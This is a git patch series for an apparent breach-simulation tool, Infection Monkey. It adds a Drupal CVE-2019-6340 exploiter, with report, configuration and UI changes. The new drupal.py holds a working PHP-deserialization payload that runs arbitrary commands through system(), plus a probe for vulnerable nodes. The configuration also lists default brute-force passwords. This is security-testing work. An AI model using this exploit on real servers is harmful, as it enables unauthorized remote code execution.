From 36d84878776ebb201198b342b30bc772c65df2ed Mon Sep 17 00:00:00 2001 From: ophirharpazg Date: Thu, 27 Aug 2020 19:43:16 +0300 Subject: [PATCH 01/32] add Drupal exploit to the report - basic message --- monkey/monkey_island/cc/services/reporting/report.py | 12 ++++++++++-- 1 file changed, 10 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/services/reporting/report.py b/monkey/monkey_island/cc/services/reporting/report.py index 195eac3d6..a1bbcece5 100644 --- a/monkey/monkey_island/cc/services/reporting/report.py +++ b/monkey/monkey_island/cc/services/reporting/report.py @@ -40,7 +40,8 @@ class ReportService: 'WebLogicExploiter': 'Oracle WebLogic Exploiter', 'HadoopExploiter': 'Hadoop/Yarn Exploiter', 'MSSQLExploiter': 'MSSQL Exploiter', - 'VSFTPDExploiter': 'VSFTPD Backdoor Exploited' + 'VSFTPDExploiter': 'VSFTPD Backdoor Exploiter', + 'DrupalExploiter': 'Drupal Server Exploiter' } class ISSUES_DICT(Enum): @@ -349,6 +350,12 @@ class ReportService: processed_exploit['type'] = 'mssql' return processed_exploit + @staticmethod + def process_drupal_exploit(exploit): + processed_exploit = ReportService.process_general_exploit(exploit) + processed_exploit['type'] = 'drupal' + return processed_exploit + @staticmethod def process_exploit(exploit): exploiter_type = exploit['data']['exploiter'] @@ -364,7 +371,8 @@ class ReportService: 'WebLogicExploiter': ReportService.process_weblogic_exploit, 'HadoopExploiter': ReportService.process_hadoop_exploit, 'MSSQLExploiter': ReportService.process_mssql_exploit, - 'VSFTPDExploiter': ReportService.process_vsftpd_exploit + 'VSFTPDExploiter': ReportService.process_vsftpd_exploit, + 'DrupalExploiter': ReportService.process_drupal_exploit } return EXPLOIT_PROCESS_FUNCTION_DICT[exploiter_type](exploit) From a87640c4aaa6f1514b8d38cf1cdd9c44c328ccf2 Mon Sep 17 00:00:00 2001 From: ophirharpazg Date: Thu, 27 Aug 2020 19:43:41 +0300 Subject: [PATCH 02/32] add Drupal exploit to the configuration --- monkey/monkey_island/cc/services/config_schema.py | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/monkey/monkey_island/cc/services/config_schema.py b/monkey/monkey_island/cc/services/config_schema.py index b6668af38..5ea80cc48 100644 --- a/monkey/monkey_island/cc/services/config_schema.py +++ b/monkey/monkey_island/cc/services/config_schema.py @@ -99,6 +99,13 @@ SCHEMA = { "VSFTPDExploiter" ], "title": "VSFTPD Exploiter" + }, + { + "type": "string", + "enum": [ + "DrupalExploiter" + ], + "title": "Drupal Exploiter" } ] }, From 610d3d1144fb2c2002a8894672c7306bb145e2e6 Mon Sep 17 00:00:00 2001 From: ophirharpazg Date: Thu, 27 Aug 2020 19:46:42 +0300 Subject: [PATCH 03/32] get a vulnerable URL in a configurable manner --- monkey/infection_monkey/exploit/web_rce.py | 19 ++++++++++++++----- 1 file changed, 14 insertions(+), 5 deletions(-) diff --git a/monkey/infection_monkey/exploit/web_rce.py b/monkey/infection_monkey/exploit/web_rce.py index 3863d47e1..faa183faa 100644 --- a/monkey/infection_monkey/exploit/web_rce.py +++ b/monkey/infection_monkey/exploit/web_rce.py @@ -89,7 +89,7 @@ class WebRCE(HostExploiter): if not self.vulnerable_urls: return False - self.target_url = self.vulnerable_urls[0] + self.target_url = self.get_target_url() self.vulnerable_port = HTTPTools.get_port_from_url(self.target_url) # Skip if monkey already exists and this option is given @@ -98,21 +98,21 @@ class WebRCE(HostExploiter): return True # Check for targets architecture (if it's 32 or 64 bit) - if not exploit_config['blind_exploit'] and not self.set_host_arch(self.target_url): + if not exploit_config['blind_exploit'] and not self.set_host_arch(self.get_target_url()): return False # Upload the right monkey to target - data = self.upload_monkey(self.target_url, exploit_config['upload_commands']) + data = self.upload_monkey(self.get_target_url(), exploit_config['upload_commands']) if data is False: return False # Change permissions to transform monkey into executable file - if self.change_permissions(self.target_url, data['path']) is False: + if self.change_permissions(self.get_target_url(), data['path']) is False: return False # Execute remote monkey - if self.execute_remote_monkey(self.target_url, data['path'], exploit_config['dropper']) is False: + if self.execute_remote_monkey(self.get_target_url(), data['path'], exploit_config['dropper']) is False: return False return True @@ -502,3 +502,12 @@ class WebRCE(HostExploiter): def set_vulnerable_port_from_url(self, url): self.vulnerable_port = HTTPTools.get_port_from_url(url) + + def get_target_url(self): + """ + This method allows "configuring" the way in which a vulnerable URL is picked. + If the same URL should be used - always return the first. + Otherwise - implement your own (e.g. Drupal must use a new URI each time). + :return: a vulnerable URL + """ + return self.vulnerable_urls[0] From f3f124ce76812ce9b489c5bc457016b643f550b5 Mon Sep 17 00:00:00 2001 From: ophirharpazg Date: Thu, 27 Aug 2020 19:47:08 +0300 Subject: [PATCH 04/32] renames, formatting and documentation --- monkey/infection_monkey/exploit/web_rce.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/monkey/infection_monkey/exploit/web_rce.py b/monkey/infection_monkey/exploit/web_rce.py index faa183faa..dd51c615d 100644 --- a/monkey/infection_monkey/exploit/web_rce.py +++ b/monkey/infection_monkey/exploit/web_rce.py @@ -83,8 +83,8 @@ class WebRCE(HostExploiter): if not ports: return False # Get urls to try to exploit - urls = self.build_potential_urls(ports, exploit_config['url_extensions']) - self.add_vulnerable_urls(urls, exploit_config['stop_checking_urls']) + potential_urls = self.build_potential_urls(ports, exploit_config['url_extensions']) + self.add_vulnerable_urls(potential_urls, exploit_config['stop_checking_urls']) if not self.vulnerable_urls: return False @@ -187,6 +187,7 @@ class WebRCE(HostExploiter): def build_potential_urls(self, ports, extensions=None): """ + Build all possibly-vulnerable URLs on a specific host, based on the relevant ports and extensions. :param ports: Array of ports. One port is described as size 2 array: [port.no(int), isHTTPS?(bool)] Eg. ports: [[80, False], [443, True]] :param extensions: What subdirectories to scan. www.domain.com[/extension] @@ -344,7 +345,6 @@ class WebRCE(HostExploiter): if not commands: commands = {'windows': POWERSHELL_HTTP_UPLOAD, 'linux': WGET_HTTP_UPLOAD} command = self.get_command(paths['dest_path'], http_path, commands) - resp = self.exploit(url, command) self.add_executed_cmd(command) resp = self.run_backup_commands(resp, url, paths['dest_path'], http_path) From 2d48001f7b5986322f5d629ee86fd436e53a5bd5 Mon Sep 17 00:00:00 2001 From: ophirharpazg Date: Thu, 27 Aug 2020 19:47:38 +0300 Subject: [PATCH 05/32] log exceptions in exploit_host --- monkey/infection_monkey/exploit/HostExploiter.py | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/monkey/infection_monkey/exploit/HostExploiter.py b/monkey/infection_monkey/exploit/HostExploiter.py index 50f4167d8..69f0b2fcf 100644 --- a/monkey/infection_monkey/exploit/HostExploiter.py +++ b/monkey/infection_monkey/exploit/HostExploiter.py @@ -1,3 +1,4 @@ +import logging from abc import abstractmethod from infection_monkey.config import WormConfiguration @@ -10,6 +11,9 @@ import infection_monkey.exploit __author__ = 'itamar' +logger = logging.getLogger(__name__) + + class HostExploiter(Plugin): @staticmethod def should_run(class_name): @@ -67,8 +71,11 @@ class HostExploiter(Plugin): def exploit_host(self): self.pre_exploit() + result = None try: result = self._exploit_host() + except Exception as e: + logger.warning(f'Exception in exploit_host: {e}') finally: self.post_exploit() return result From 7fff3b57bc8742abfa06592007996a2143af820c Mon Sep 17 00:00:00 2001 From: ophirharpazg Date: Thu, 27 Aug 2020 19:47:59 +0300 Subject: [PATCH 06/32] Drupal server exploit implementation --- monkey/infection_monkey/exploit/drupal.py | 175 ++++++++++++++++++++++ 1 file changed, 175 insertions(+) create mode 100644 monkey/infection_monkey/exploit/drupal.py diff --git a/monkey/infection_monkey/exploit/drupal.py b/monkey/infection_monkey/exploit/drupal.py new file mode 100644 index 000000000..31b7a4cd2 --- /dev/null +++ b/monkey/infection_monkey/exploit/drupal.py @@ -0,0 +1,175 @@ +""" +Remote Code Execution on Drupal server - CVE-2019-6340 +Implementation is based on: + https://gist.github.com/leonjza/d0ab053be9b06fa020b66f00358e3d88/f9f6a5bb6605745e292bee3a4079f261d891738a. +""" + +import logging +import re +import requests +from urllib.parse import urljoin, urlparse +from infection_monkey.exploit.web_rce import WebRCE + +__author__ = 'Ophir Harpaz' + +LOG = logging.getLogger(__name__) + + +def remove_port(url): + parsed = urlparse(url) + with_port = f'{parsed.scheme}://{parsed.netloc}' + without_port = re.sub(':[0-9]+$', '', with_port) + return without_port + + +def build_url(*args) -> str: + f = '' + for x in args: + f = urljoin(f, x) + return f + + +def check_drupal_cache(r: requests.Response) -> bool: + """ + Check if a response had the cache header. + """ + return 'X-Drupal-Cache' in r.headers and r.headers['X-Drupal-Cache'] == 'HIT' + + +def find_articles(base_url: str, lower: int = 1, upper: int = 10): + """ Find a target article that does not 404 and is not cached """ + articles = set() + while lower < upper: + u = build_url(base_url, str(lower)) + r = requests.get(u) + if r.status_code == 200: # found an article + articles.add(lower) + if check_drupal_cache(r): + LOG.info(f'Found a cached article at: {lower}, skipping') + lower += 1 + return articles + + +class DrupalExploiter(WebRCE): + _TARGET_OS_TYPE = ['linux', 'windows'] + _EXPLOITED_SERVICE = 'Drupal Server' + DRUPAL_PORTS = [[80, False], [443, True]] + + def __init__(self, host): + super(DrupalExploiter, self).__init__(host) + + def get_exploit_config(self): + """ + We override this function because the exploits requires a special extension in the URL, "node", + e.g. an exploited URL would be http://172.1.2.3:/node/3. + :return: the Drupal exploit config + """ + exploit_config = super(DrupalExploiter, self).get_exploit_config() + exploit_config['url_extensions'] = ['node/'] + return exploit_config + + def add_vulnerable_urls(self, potential_urls, stop_checking=False): + """ + We need a specific implementation of this function in order to add the URLs *with the node IDs*. + We therefore check, for every potential URL, all possible node IDs. + :param potential_urls: Potentially-vulnerable URLs + :param stop_checking: Stop if one vulnerable URL is found + :return: None (in-place addition) + """ + for url in potential_urls: + node_ids = find_articles(url) + if node_ids is None: + LOG.info('Could not find a Drupal node to attack') + continue + for node_id in node_ids: + node_url = build_url(url, str(node_id)) + if self.check_if_exploitable(node_url): + self.add_vuln_url(url) # Where is this used? + self.vulnerable_urls.append(node_url) + if stop_checking: + break + if not self.vulnerable_urls: + LOG.info("No vulnerable urls found") + + def check_if_exploitable(self, url): + """ + Check if a certain URL is exploitable. + We use this specific implementation (and not simply run self.exploit) because this function does not "waste" + a vulnerable URL. Namely, we're not actually exploiting, merely checking using a heuristic. + :param url: Drupal's URL and port + :return: Vulnerable URL if exploitable, otherwise False + """ + payload = { + "_links": { + "type": { + "href": f"{urljoin(url, '/rest/type/node/INVALID_VALUE')}" + } + }, + "type": { + "target_id": "article" + }, + "title": { + "value": "My Article" + }, + "body": { + "value": "" + } + } + + response = requests.get(f'{url}?_format=hal_json', + json=payload, + headers={"Content-Type": "application/hal+json"}) + + if check_drupal_cache(response): + LOG.info(f'Checking if node {url} is vuln returned cache HIT, ignoring') + return False + + return 'INVALID_VALUE does not correspond to an entity on this site' in response.text + + def exploit(self, url, command): + # pad a easy search replace output: + cmd = 'echo ---- && ' + command + base = remove_port(url) + payload = { + "link": [ + { + "value": "link", + "options": "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000" + "GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\"" + "close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:" + "{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";" + "s:|size|:\"|command|\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000" + "stack\";a:1:{i:0;a:1:{i:0;s:6:\"system\";}}s:31:\"\u0000" + "GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\"" + "resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}" + "".replace('|size|', str(len(cmd))).replace('|command|', cmd) + } + ], + "_links": { + "type": { + "href": f"{urljoin(base, '/rest/type/shortcut/default')}" + } + } + } + + LOG.info(payload) + + r = requests.get(f'{url}?_format=hal_json', json=payload, headers={"Content-Type": "application/hal+json"}) + + if check_drupal_cache(r): + LOG.info(f'Exploiting {url} returned cache HIT, may have failed') + + if '----' not in r.text: + LOG.info('[warn] Command execution _may_ have failed') + + result = r.text.split('----')[-1] + LOG.info(f'Drupal exploit result = {result}') + return result + + def get_target_url(self): + """ + We're overriding this method such that every time self.exploit is invoked, we use a fresh vulnerable URL. + Reusing the same URL eliminates its exploitability because of caching reasons :) + :return: vulnerable URL to exploit + """ + return self.vulnerable_urls.pop() From 1e259fc13149c62bf4ecf5c3847dbc299865df85 Mon Sep 17 00:00:00 2001 From: ophirharpazg Date: Sun, 30 Aug 2020 18:04:26 +0300 Subject: [PATCH 07/32] Add a detailed issue to the security report --- .../cc/services/reporting/report.py | 26 ++- .../report-components/SecurityReport.js | 206 ++++++++++-------- 2 files changed, 132 insertions(+), 100 deletions(-) diff --git a/monkey/monkey_island/cc/services/reporting/report.py b/monkey/monkey_island/cc/services/reporting/report.py index e7b38b1d9..d60d53dec 100644 --- a/monkey/monkey_island/cc/services/reporting/report.py +++ b/monkey/monkey_island/cc/services/reporting/report.py @@ -1,22 +1,25 @@ import functools +import ipaddress import itertools import logging - -import ipaddress -from bson import json_util from enum import Enum +from bson import json_util + from common.network.network_range import NetworkRange from common.network.segmentation_utils import get_ip_in_src_and_not_in_dst from monkey_island.cc.database import mongo from monkey_island.cc.models import Monkey +from monkey_island.cc.network_utils import get_subnets, local_ip_addresses from monkey_island.cc.services.config import ConfigService -from monkey_island.cc.services.configuration.utils import get_config_network_segments_as_subnet_groups +from monkey_island.cc.services.configuration.utils import \ + get_config_network_segments_as_subnet_groups from monkey_island.cc.services.node import NodeService from monkey_island.cc.services.reporting.pth_report import PTHReportService -from monkey_island.cc.services.reporting.report_exporter_manager import ReportExporterManager -from monkey_island.cc.services.reporting.report_generation_synchronisation import safe_generate_regular_report -from monkey_island.cc.network_utils import local_ip_addresses, get_subnets +from monkey_island.cc.services.reporting.report_exporter_manager import \ + ReportExporterManager +from monkey_island.cc.services.reporting.report_generation_synchronisation import \ + safe_generate_regular_report __author__ = "itay.mizeretz" @@ -59,6 +62,7 @@ class ReportService: PTH_CRIT_SERVICES_ACCESS = 11 MSSQL = 12 VSFTPD = 13 + DRUPAL = 14 class WARNINGS_DICT(Enum): CROSS_SEGMENT = 0 @@ -623,7 +627,7 @@ class ReportService: @staticmethod def get_config_exploits(): - exploits_config_value = ['exploits', 'general', 'exploiter_classes'] + exploits_config_value = ['basic', 'exploiters', 'exploiter_classes'] default_exploits = ConfigService.get_default_config(False) for namespace in exploits_config_value: default_exploits = default_exploits[namespace] @@ -637,11 +641,11 @@ class ReportService: @staticmethod def get_config_ips(): - return ConfigService.get_config_value(['basic_network', 'general', 'subnet_scan_list'], True, True) + return ConfigService.get_config_value(['basic_network', 'scope', 'subnet_scan_list'], True, True) @staticmethod def get_config_scan(): - return ConfigService.get_config_value(['basic_network', 'general', 'local_network_scan'], True, True) + return ConfigService.get_config_value(['basic_network', 'scope', 'local_network_scan'], True, True) @staticmethod def get_issues_overview(issues, config_users, config_passwords): @@ -671,6 +675,8 @@ class ReportService: issues_byte_array[ReportService.ISSUES_DICT.MSSQL.value] = True elif issue['type'] == 'hadoop': issues_byte_array[ReportService.ISSUES_DICT.HADOOP.value] = True + elif issue['type'] == 'drupal': + issues_byte_array[ReportService.ISSUES_DICT.DRUPAL.value] = True elif issue['type'].endswith('_password') and issue['password'] in config_passwords and \ issue['username'] in config_users or issue['type'] == 'ssh': issues_byte_array[ReportService.ISSUES_DICT.WEAK_PASSWORD.value] = True diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js b/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js index a3c29f163..d5bfff63a 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js @@ -161,25 +161,29 @@ class ReportPageComponent extends AuthComponent {

The monkey started propagating from the following machines where it was manually installed: -

    - {this.state.report.overview.manual_monkeys.map(x =>
  • {x}
  • )} -

+
    + {this.state.report.overview.manual_monkeys.map(x =>
  • {x}
  • )} +

The monkeys were run with the following configuration:

{ this.state.report.overview.config_users.length > 0 ? -

- Usernames used for brute-forcing: + <> +

+ Usernames used for brute-forcing: +

    - {this.state.report.overview.config_users.map(x =>
  • {x}
  • )} + {this.state.report.overview.config_users.map(x =>
  • {x}
  • )}
- Passwords used for brute-forcing: +

+ Passwords used for brute-forcing: +

    - {this.state.report.overview.config_passwords.map(x =>
  • {x.substr(0, 3) + '******'}
  • )} + {this.state.report.overview.config_passwords.map(x =>
  • {x.substr(0, 3) + '******'}
  • )}
-

+ :

Brute forcing uses stolen credentials only. No credentials were supplied during Monkey’s @@ -195,7 +199,7 @@ class ReportPageComponent extends AuthComponent {

The Monkey uses the following exploit methods:

    - {this.state.report.overview.config_exploits.map(x =>
  • {x}
  • )} + {this.state.report.overview.config_exploits.map(x =>
  • {x}
  • )}

) @@ -209,7 +213,7 @@ class ReportPageComponent extends AuthComponent {

The Monkey scans the following IPs:

    - {this.state.report.overview.config_ips.map(x =>
  • {x}
  • )} + {this.state.report.overview.config_ips.map(x =>
  • {x}
  • )}

: @@ -313,15 +317,15 @@ class ReportPageComponent extends AuthComponent { The Monkey uncovered the following possible set of issues:
    {this.state.report.overview.warnings[this.Warning.CROSS_SEGMENT] ? -
  • Weak segmentation - Machines from different segments are able to +
  • Weak segmentation - Machines from different segments are able to communicate.
  • : null} {this.state.report.overview.warnings[this.Warning.TUNNEL] ? -
  • Weak segmentation - Machines were able to communicate over unused ports.
  • : null} +
  • Weak segmentation - Machines were able to communicate over unused ports.
  • : null} {this.state.report.overview.warnings[this.Warning.SHARED_LOCAL_ADMIN] ? -
  • Shared local administrator account - Different machines have the same account as a local +
  • Shared local administrator account - Different machines have the same account as a local administrator.
  • : null} {this.state.report.overview.warnings[this.Warning.SHARED_PASSWORDS] ? -
  • Multiple users have the same password
  • : null} +
  • Multiple users have the same password
  • : null}
: @@ -443,21 +447,22 @@ class ReportPageComponent extends AuthComponent { } generateInfoBadges(data_array) { - return data_array.map(badge_data => {badge_data}); + return data_array.map(badge_data => {badge_data}); } generateCrossSegmentIssue(crossSegmentIssue) { - return
  • - {'Communication possible from ' + crossSegmentIssue['source_subnet'] + ' to ' + crossSegmentIssue['target_subnet']} + let crossSegmentIssueOverview = 'Communication possible from ' + crossSegmentIssue['source_subnet'] + ' to ' + crossSegmentIssue['target_subnet'] + return
  • + {crossSegmentIssueOverview}
      {crossSegmentIssue['issues'].map(x => x['is_self'] ? -
    • +
    • {'Machine ' + x['hostname'] + ' has both ips: ' + x['source'] + ' and ' + x['target']}
    • : -
    • +
    • {'IP ' + x['source'] + ' (' + x['hostname'] + ') connected to IP ' + x['target'] + ' using the services: ' + Object.keys(x['services']).join(', ')}
    • @@ -468,12 +473,12 @@ class ReportPageComponent extends AuthComponent { } generateShellshockPathListBadges(paths) { - return paths.map(path => {path}); + return paths.map(path => {path}); } generateSmbPasswordIssue(issue) { return ( -
    • + <> Change {issue.username}'s password to a complex one-use password that is not shared with other computers on the network. @@ -484,13 +489,13 @@ class ReportPageComponent extends AuthComponent { The Monkey authenticated over the SMB protocol with user {issue.username} and its password. -
    • + ); } generateSmbPthIssue(issue) { return ( -
    • + <> Change {issue.username}'s password to a complex one-use password that is not shared with other computers on the network. @@ -501,13 +506,13 @@ class ReportPageComponent extends AuthComponent { The Monkey used a pass-the-hash attack over SMB protocol with user {issue.username}. -
    • + ); } generateWmiPasswordIssue(issue) { return ( -
    • + <> Change {issue.username}'s password to a complex one-use password that is not shared with other computers on the network. @@ -518,13 +523,13 @@ class ReportPageComponent extends AuthComponent { The Monkey authenticated over the WMI protocol with user {issue.username} and its password. -
    • + ); } generateWmiPthIssue(issue) { return ( -
    • + <> Change {issue.username}'s password to a complex one-use password that is not shared with other computers on the network. @@ -535,13 +540,13 @@ class ReportPageComponent extends AuthComponent { The Monkey used a pass-the-hash attack over WMI protocol with user {issue.username}. -
    • + ); } generateSshIssue(issue) { return ( -
    • + <> Change {issue.username}'s password to a complex one-use password that is not shared with other computers on the network. @@ -552,13 +557,13 @@ class ReportPageComponent extends AuthComponent { The Monkey authenticated over the SSH protocol with user {issue.username} and its password. -
    • + ); } generateSshKeysIssue(issue) { return ( -
    • + <> Protect {issue.ssh_key} private key with a pass phrase. The machine {issue.machine} ({issue.ssh_key}. -
    • + ); } generateSambaCryIssue(issue) { return ( -
    • + <> Change {issue.username}'s password to a complex one-use password that is not shared with other computers on the network.
      @@ -589,13 +594,13 @@ class ReportPageComponent extends AuthComponent { className="badge badge-success">{issue.username} and its password, and used the SambaCry vulnerability. -
    • + ); } generateVsftpdBackdoorIssue(issue) { return ( -
    • + <> Update your VSFTPD server to the latest version vsftpd-3.0.3. The machine {issue.machine} (here. -
    • + ); } generateElasticIssue(issue) { return ( -
    • + <> Update your Elastic Search server to version 1.4.3 and up. The machine {issue.machine} ( The attack was made possible because the Elastic Search server was not patched against CVE-2015-1427. -
    • + ); } generateShellshockIssue(issue) { return ( -
    • + <> Update your Bash to a ShellShock-patched version. The machine {issue.machine} ({issue.port} was vulnerable to a shell injection attack on the paths: {this.generateShellshockPathListBadges(issue.paths)}. -
    • + ); } generateAzureIssue(issue) { return ( -
    • + <> Delete VM Access plugin configuration files. Credentials could be stolen from here. -
    • + ); } generateConfickerIssue(issue) { return ( -
    • + <> Install the latest Windows updates or upgrade to a newer operating system. The machine {issue.machine} ( -
    • + ); } generateIslandCrossSegmentIssue(issue) { return ( -
    • + <> Segment your network and make sure there is no communication between machines from different segments. The network can probably be segmented. A monkey instance on -
    • + ); } generateSharedCredsDomainIssue(issue) { return ( -
    • + <> Some domain users are sharing passwords, this should be fixed by changing passwords. These users are sharing access password: {this.generateInfoBadges(issue.shared_with)}. -
    • + ); } generateSharedCredsIssue(issue) { return ( -
    • + <> Some users are sharing passwords, this should be fixed by changing passwords. These users are sharing access password: {this.generateInfoBadges(issue.shared_with)}. -
    • + ); } generateSharedLocalAdminsIssue(issue) { return ( -
    • + <> Make sure the right administrator accounts are managing the right machines, and that there isn’t an unintentional local admin sharing. @@ -730,13 +735,13 @@ class ReportPageComponent extends AuthComponent { className="badge badge-primary">{issue.username} is defined as an administrator: {this.generateInfoBadges(issue.shared_machines)} -
    • + ); } generateStrongUsersOnCritIssue(issue) { return ( -
    • + <> This critical machine is open to attacks via strong users with access to it. The services: {this.generateInfoBadges(issue.services)} have been found on the machine @@ -744,26 +749,26 @@ class ReportPageComponent extends AuthComponent { These users has access to it: {this.generateInfoBadges(issue.threatening_users)}. -
    • + ); } generateTunnelIssue(issue) { return ( -
    • + <> Use micro-segmentation policies to disable communication other than the required. Machines are not locked down at port level. Network tunnel was set up from {issue.machine} to {issue.dest}. -
    • + ); } generateStruts2Issue(issue) { return ( -
    • + <> Upgrade Struts2 to version 2.3.32 or 2.5.10.1 or any later versions. Struts2 server at {issue.machine} (here. -
    • + + ); + } + + generateDrupalIssue(issue) { + return ( + <> + Upgrade Drupal server to versions 8.5.11, 8.6.10, or later. + + Drupal server at {issue.machine} ({issue.ip_address}) is vulnerable to remote command execution attack. +
      + The attack was made possible because the server is using an old version of Drupal. + For possible workarounds and more info read here. +
      + ); } generateWebLogicIssue(issue) { return ( -
    • + <> Update Oracle WebLogic server to the latest supported version. Oracle WebLogic server at {issue.machine} ( CVE-2017-10271 or CVE-2019-2725 -
    • + ); } generateHadoopIssue(issue) { return ( -
    • + <> Run Hadoop in secure mode ( add Kerberos authentication). @@ -809,13 +832,13 @@ class ReportPageComponent extends AuthComponent {
      The attack was made possible due to default Hadoop/Yarn configuration being insecure. -
    • + ); } generateMSSQLIssue(issue) { return ( -
    • + <> Disable the xp_cmdshell option. The machine {issue.machine} ( Microsoft's documentation. -
    • + ); } generateIssue = (issue) => { - let data; + let issueData; switch (issue.type) { case 'vsftp': - data = this.generateVsftpdBackdoorIssue(issue); + issueData = this.generateVsftpdBackdoorIssue(issue); break; case 'smb_password': - data = this.generateSmbPasswordIssue(issue); + issueData = this.generateSmbPasswordIssue(issue); break; case 'smb_pth': - data = this.generateSmbPthIssue(issue); + issueData = this.generateSmbPthIssue(issue); break; case 'wmi_password': - data = this.generateWmiPasswordIssue(issue); + issueData = this.generateWmiPasswordIssue(issue); break; case 'wmi_pth': - data = this.generateWmiPthIssue(issue); + issueData = this.generateWmiPthIssue(issue); break; case 'ssh': - data = this.generateSshIssue(issue); + issueData = this.generateSshIssue(issue); break; case 'ssh_key': - data = this.generateSshKeysIssue(issue); + issueData = this.generateSshKeysIssue(issue); break; case 'sambacry': - data = this.generateSambaCryIssue(issue); + issueData = this.generateSambaCryIssue(issue); break; case 'elastic': - data = this.generateElasticIssue(issue); + issueData = this.generateElasticIssue(issue); break; case 'shellshock': - data = this.generateShellshockIssue(issue); + issueData = this.generateShellshockIssue(issue); break; case 'conficker': - data = this.generateConfickerIssue(issue); + issueData = this.generateConfickerIssue(issue); break; case 'island_cross_segment': - data = this.generateIslandCrossSegmentIssue(issue); + issueData = this.generateIslandCrossSegmentIssue(issue); break; case 'shared_passwords': - data = this.generateSharedCredsIssue(issue); + issueData = this.generateSharedCredsIssue(issue); break; case 'shared_passwords_domain': - data = this.generateSharedCredsDomainIssue(issue); + issueData = this.generateSharedCredsDomainIssue(issue); break; case 'shared_admins_domain': - data = this.generateSharedLocalAdminsIssue(issue); + issueData = this.generateSharedLocalAdminsIssue(issue); break; case 'strong_users_on_crit': - data = this.generateStrongUsersOnCritIssue(issue); + issueData = this.generateStrongUsersOnCritIssue(issue); break; case 'tunnel': - data = this.generateTunnelIssue(issue); + issueData = this.generateTunnelIssue(issue); break; case 'azure_password': - data = this.generateAzureIssue(issue); + issueData = this.generateAzureIssue(issue); break; case 'struts2': - data = this.generateStruts2Issue(issue); + issueData = this.generateStruts2Issue(issue); break; case 'weblogic': - data = this.generateWebLogicIssue(issue); + issueData = this.generateWebLogicIssue(issue); break; case 'hadoop': - data = this.generateHadoopIssue(issue); + issueData = this.generateHadoopIssue(issue); break; case 'mssql': - data = this.generateMSSQLIssue(issue); + issueData = this.generateMSSQLIssue(issue); + break; + case 'drupal': + issueData = this.generateDrupalIssue(issue); break; } - return data; + return
    • {issueData}
    • ; }; generateIssues = (issues) => { let issuesDivArray = []; for (let machine of Object.keys(issues)) { issuesDivArray.push( -
    • +
    • {machine}

        {issues[machine].map(this.generateIssue)} From 4c9d0f27861badd4c774f8e09a31c6c5d2f4ae81 Mon Sep 17 00:00:00 2001 From: ophirharpazg Date: Sun, 30 Aug 2020 18:04:40 +0300 Subject: [PATCH 08/32] Add Drupal to the newly formed configuration --- .../cc/services/config_schema/basic.py | 76 ++++++++++ .../definitions/exploiter_classes.py | 139 ++++++++++++++++++ 2 files changed, 215 insertions(+) create mode 100644 monkey/monkey_island/cc/services/config_schema/basic.py create mode 100644 monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py diff --git a/monkey/monkey_island/cc/services/config_schema/basic.py b/monkey/monkey_island/cc/services/config_schema/basic.py new file mode 100644 index 000000000..0fa0b80d4 --- /dev/null +++ b/monkey/monkey_island/cc/services/config_schema/basic.py @@ -0,0 +1,76 @@ +BASIC = { + "title": "Exploits", + "type": "object", + "primary": True, + "properties": { + "exploiters": { + "title": "Exploiters", + "type": "object", + "description": "Choose which exploiters the Monkey will attempt.", + "properties": { + "exploiter_classes": { + "title": "Exploiters", + "type": "array", + "uniqueItems": True, + "items": { + "$ref": "#/definitions/exploiter_classes" + }, + "default": [ + "SmbExploiter", + "WmiExploiter", + "SSHExploiter", + "ShellShockExploiter", + "SambaCryExploiter", + "ElasticGroovyExploiter", + "Struts2Exploiter", + "WebLogicExploiter", + "HadoopExploiter", + "VSFTPDExploiter", + "MSSQLExploiter", + "DrupalExploiter" + ] + } + } + }, + "credentials": { + "title": "Credentials", + "type": "object", + "properties": { + "exploit_user_list": { + "title": "Exploit user list", + "type": "array", + "uniqueItems": True, + "items": { + "type": "string" + }, + "default": [ + "Administrator", + "root", + "user" + ], + "description": "List of user names that will be used by exploiters that need credentials, like " + "SSH brute-forcing." + }, + "exploit_password_list": { + "title": "Exploit password list", + "type": "array", + "uniqueItems": True, + "items": { + "type": "string" + }, + "default": [ + "root", + "123456", + "password", + "123456789", + "qwerty", + "111111", + "iloveyou" + ], + "description": "List of passwords that will be used by exploiters that need credentials, like " + "SSH brute-forcing." + } + } + } + } +} diff --git a/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py b/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py new file mode 100644 index 000000000..130171877 --- /dev/null +++ b/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py @@ -0,0 +1,139 @@ +from monkey_island.cc.services.utils.typographic_symbols import WARNING_SIGN + +EXPLOITER_CLASSES = { + "title": "Exploit class", + "description": "Click on exploiter to get more information about it." + WARNING_SIGN + + " Note that using unsafe exploits may cause crashes of the exploited machine/service.", + "type": "string", + "anyOf": [ + { + "type": "string", + "enum": [ + "SmbExploiter" + ], + "title": "SMB Exploiter", + "attack_techniques": ["T1110", "T1075", "T1035"], + "info": "Brute forces using credentials provided by user and" + " hashes gathered by mimikatz.", + "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/smbexec/" + }, + { + "type": "string", + "enum": [ + "WmiExploiter" + ], + "title": "WMI Exploiter", + "attack_techniques": ["T1110", "T1106"], + "info": "Brute forces WMI (Windows Management Instrumentation) " + "using credentials provided by user and hashes gathered by mimikatz.", + "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/wmiexec/" + }, + { + "type": "string", + "enum": [ + "MSSQLExploiter" + ], + "title": "MSSQL Exploiter", + "attack_techniques": ["T1110"], + "info": 